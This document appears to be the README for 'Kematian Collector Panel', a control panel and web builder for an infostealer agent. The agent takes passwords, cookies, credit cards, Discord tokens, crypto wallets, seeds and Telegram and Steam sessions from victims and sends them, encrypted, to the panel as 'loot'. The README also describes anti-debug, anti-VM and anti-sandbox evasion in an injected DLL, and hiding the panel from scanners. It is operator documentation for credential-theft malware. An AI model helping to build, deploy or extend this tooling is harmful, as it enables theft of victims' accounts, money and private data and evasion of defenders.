Files

160 lines
7.2 KiB
Markdown
Raw Permalink Normal View History

2026-08-27 11:23:01 -06:00
# Kematian Collector Panel
Admin web dashboard + E2EE JSON ingest for the kematian-standalone agent.
## Setup
```bash
cd panel
pip install -r requirements.txt
python app.py
```
Open `http://localhost:5000/setup` to create the admin account, then log in.
Configure via env before running:
| Env var | Default | Purpose |
|---------------------|------------------------------------------|----------------------------------|
| `PANEL_SECRET` | `kematian-secret-CHANGE-ME` | Flask session signing key |
| `PANEL_INGEST_KEY` | `CHANGE-ME` | Bearer token the agent must send |
| `PANEL_PORT` | `5000` | Bind port |
**Change both secrets before exposing the panel.**
## E2EE
Agent → panel traffic is end-to-end encrypted. On first run the panel generates
an X25519 keypair at `panel/kematian_e2ee.key`. Its **private key** never leaves
the panel; only its **public key** is needed by the agent.
**The agent fetches that public key itself at runtime** — so at build time you
only set the endpoint + ingest key. You never copy a key manually. The panel
serves it over:
```http
GET /e2ee/pub
Authorization: Bearer <PANEL_INGEST_KEY>
```
Wire scheme (agent encrypts, panel decrypts):
`X25519 ECDH (ephemeral) → HKDF-SHA256 → ChaCha20-Poly1305`.
Only the panel private key can decrypt the payload.
## Ingest API
The agent encrypts its `CollectionResult` and POSTs `{"enc": "<base64 ciphertext>"}`
to `/api/ingest` with `Authorization: Bearer <PANEL_INGEST_KEY>`. The panel
decrypts and splits every category into its own SQLite table.
```http
POST /api/ingest
Authorization: Bearer <PANEL_INGEST_KEY>
Content-Type: application/json
{ "enc": "base64..." }
```
Valid top-level payload keys (inside the encrypted JSON) mirror the Go struct:
`clientId, host, passwords, cookies, autofill, history, bookmarks, creditCards,
discordTokens, files, extensions, wallets, telegram, keys, appCredentials,
gaming, vpns`, plus `seeds`. Gaming/VPNs are stored as nested payload, everything
else is flattened per row.
The agent also ships **binary payloads** (wallet dirs, Telegram sessions, Steam
login files) as `payloads: [{category, name, filename, size, data(base64)}]`.
The panel writes these to `panel/loot/<client_id>/` and tracks them in the
`blobs` table, so they're persisted as a backup and downloadable from the UI.
## Privacy & hardening
The panel is not meant to be discovered or probed by randoms:
- **`/health` and `/e2ee/pub` return 404** unless the caller sends the correct
`PANEL_INGEST_KEY` Bearer token. No liveness beacon for scanners.
- **Ingest rejects unauthenticated requests** with 401, and (optionally) blocks
ingress IPs outside your allowlist with 404.
- **Login brute-force throttle** — an IP gets 429 after too many attempts in a
window.
- **Security headers** on every response: `X-Content-Type-Options`, `X-Frame-Options`,
`Referrer-Policy`, `Cache-Control`, and a decoy `Server` banner.
- **Optional IP allowlist** via `PANEL_ALLOWED_IPS` (comma-separated). Empty =
unrestricted (still gated by creds/rate-limit).
Additional env:
| Env var | Default | Purpose |
|-----------------------|-------------------------------|------------------------------------------|
| `PANEL_ALLOWED_IPS` | (empty) | Comma-separated IPs allowed to ingress/login |
| `PANEL_RATE_WINDOW` | `60` | Rate-limit window (seconds) |
| `PANEL_RATE_MAX` | `10` | Max failed requests per window per IP |
| `PANEL_DECOY_NAME` | `nginx` | Server banner value |
| `PANEL_PUBLIC_URL` | (empty) | Public ingest URL pre-filled in the builder form |
| `BUILDER_NATIVE_DIR` | `<repo>/Kematian-Standalone/native` | Path to the agent Go source tree |
| `BUILDER_OUTPUT_DIR` | `panel/builds` | Where built .exe files are stored |
## Wiring the agent
The agent collects the data in `native/recovery/exfil/panel.go`. Set two things
(either edit the vars or use `final/build_final.bat`):
- `PanelEndpoint` the panel's `/api/ingest` URL
- `PanelAuth` the `PANEL_INGEST_KEY`
The **public key is auto-fetched** from `/e2ee/pub` on first use, so nothing
else is needed. `build_final.bat` prompts for the Telegram bot (optional) plus
the panel endpoint + auth key, injects them at build time, then restores sources.
## Web builder
The panel can build the agent entirely from the browser at **`/build`**:
1. Enter the panel endpoint + ingest key, optional Telegram bot/chat.
2. Enter a build name.
3. Click **Build agent** — the panel copies the native Go tree to a temp dir,
patches `panel.go` (`PanelEndpoint`/`PanelAuth`) and `main.go` (Telegram),
runs `go build`, and drops the `.exe` in `builds/`.
4. Watch the live log, then **Download** the fresh agent.
The server needs `go` installed (and the agent source tree present at
`BUILDER_NATIVE_DIR`, or adjacent to the panel). The source is never modified —
it's copied, patched, and built in a temp dir. Built files are kept under
`BUILDER_OUTPUT_DIR` and served at `/build/download/<name>.exe`.
### Anti-analysis guard
Every build ships a Rust anti-analysis layer (`rust-extractor/src/guard.rs`) that
runs inside the injected DLL before the payload starts. It scores the environment
and refuses to run on analysis hosts:
- **Anti-debug**: PEB `BeingDebugged`, `NtGlobalFlag` heap flags,
`NtQueryInformationProcess` debug port, `CheckRemoteDebuggerPresent`, RDTSC
timing (breakpoint/single-step detection).
- **Anti-VM**: CPUID hypervisor-present bit + vendor string (VMware/VirtualBox/KVM/
QEMU/Xen/Hyper-V), SMBIOS firmware table, low RAM + single-core heuristics.
- **Anti-analyze / sandbox**: process scan for known tools (x64dbg, ollydbg, IDA,
procmon, wireshark, tcpview, vmtoolsd…), check for sandbox env markers.
Detection strings are XOR-encrypted so they don't sit in plaintext `.rodata`.
The web builder recompiles the Rust extractor before each `go build`; the local
`final/build_final.bat` does the same. `Cargo` must be installed and the
`x86_64-pc-windows-gnu` target present.
## Pages
- `/` dashboard with per-category stats + hosted-files count + recent clients
- `/clients` all reporting agents
- `/client/<id>` per-client data breakdown, link to its files
- `/client/<id>/loot` that client's hosted login files (wallet/Steam/Telegram)
- `/client/<id>/loot/<id>/download` download one hosted file
- `/client/<id>/loot/zip` download all of that client's files as one backup zip
- `/loot` every hosted file across all clients
- `/build` build a fresh agent from the browser (panel + Telegram config)
- `/cat/<category>` each data type on its own page with an icon
- `/search` search across passwords, cookies, tokens
- `/api/raw/<category>` raw JSON dump (admin auth required)
Categories: passwords, cookies, autofill, history, bookmarks, credit_cards,
discord_tokens, files, extensions, wallets, telegram, keys, app_credentials, seeds,
gaming, vpns.